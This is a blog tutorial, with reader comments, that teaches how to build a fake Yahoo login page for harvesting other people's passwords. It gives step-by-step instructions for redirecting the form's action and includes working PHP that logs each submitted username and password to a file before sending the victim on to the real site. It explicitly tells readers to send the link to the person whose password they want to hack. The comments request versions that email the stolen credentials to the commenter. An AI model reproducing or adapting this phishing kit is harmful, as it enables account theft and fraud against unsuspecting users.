I discussed about how fake login pages are used by hackers to hack your passwords and how to protect yourself from then in my previous post
Protect yourself from fake login pages
Now its time to get one for yourself. So let us learn how to create a fake login page with yahoomail as example. The same procedure can be applied for orkut,myspace,gmail,facebook,paypal …
First open the yahoo login page, if you are using internet explorer right click on the login page and select view source for mozilla press ctr+u. Copy the entire code on to notepad or your favorite text editor .Now search for the term “action”, you should find a line like this
<form method=”post” action=”https://login.yahoo.com/config/login?”autocomplete=”off” name=”login_form” onsubmit=”return hash2(this)”>
When you enter your login information in the original login page, it is
submitted to this url https://login.yahoo.com/config/login change https://login.yahoo.com/config/login to “input.php” .When you change the action to input.php, user name and password are submitted to this file when ever user enters his login information in our fake login page.
Creating input.php
First let’s look at the code for a simple HTML form
1)<form action=”input.php” method=post> 2)User name :<input type=text name=”username”size=40> 3)<br> 4)Password:<input type=password name=”passwd” size=40> 5)<input type=submit name=submit value=”signin!”> 6)</form>action=”input.php” tell’s the browser to
submit the informationto input.php . In lines 2 and 4 line we have “type=text” and “type=password” this tell the browser the input type. name=”username” and name=”passwd” save the user name and password in variables named $_post[username] and $_post[passwd]. Line 5 displays a submit button when the user presses this button the form is submitted. (Note: I used the numbers just to explain the code )
First make note of the variable name used for both username and passowrd. In the the above form they are username and passwd
PHP code with explanation:
//Every php program starts with this tag
<?php
/*Opens passwd.htm for appending, if it is not
present it creates one*/
$fp = fopen(”passwd.htm”, “a”);
/* Writes user name and password stored in
$_POST[username] and Password:$_POST[passwd] in passwd.htm
“\t” is just to insert some space between user name
and password*/
fwrite($fp, “Username:$_POST[username]\tPassword:$_POST[passwd]”);
/*This part of the code creates a HTML page which
redirects the user to the original error page of gmail
The one you would get if you enter a wrong password
*/
echo “<HTML>
<head>
<title>Welcome to Gmail</title>
<FRAMESET cols=\”*\”>
<FRAME src=\”https://www.yahoo.com/\”>
</FRAMESET>”;
?> //php closing tag
To create your own input.php …
If the names of the variables used are login and password, then you should change $_post[username] and $_post[passwd] to $_post[login] and $_post[password]. This is all, you are done with creating a completely operable fake login page. upload the fake login page and input.php on some webserver with php support and give the link to the person whose password you want to hack. When that person enters his login in details in your fake login page they will be stored in password.htm . You can even configure the input.php to get the username and password in your inbox. For that you need to know little more php. If any one is interested in knowing about it feel free to contact me directly or drop in a comment here.
NOTE: php variables are case sensitive, if you are trying to run input.php directly on your comp without installing a web server supported with php it will not work
Download fake login page of yahoo
Gud Luck
Satish Gandham
Authors bio is coming up shortly.
Can you please send me a fake orkut login page in which i can give my email address in source code and to whom i send that page his login name and password come to my login…please please please help me…..
my id is danish0188@rediffmail.com
How to configure the input.php to get the username and password in your inbox?
You can even configure the input.php to get the username and password in your inbox
thanks greate article can u please send me how to configure the input.php to send details to my email
Hey i want to know how to get input.php deliverd to my inbox plz help yarr ……………………….
Can you please send me a fake orkut login page in which i can give my email address in source code and to whom i send that page his login name and password come to my login…please please please help me…..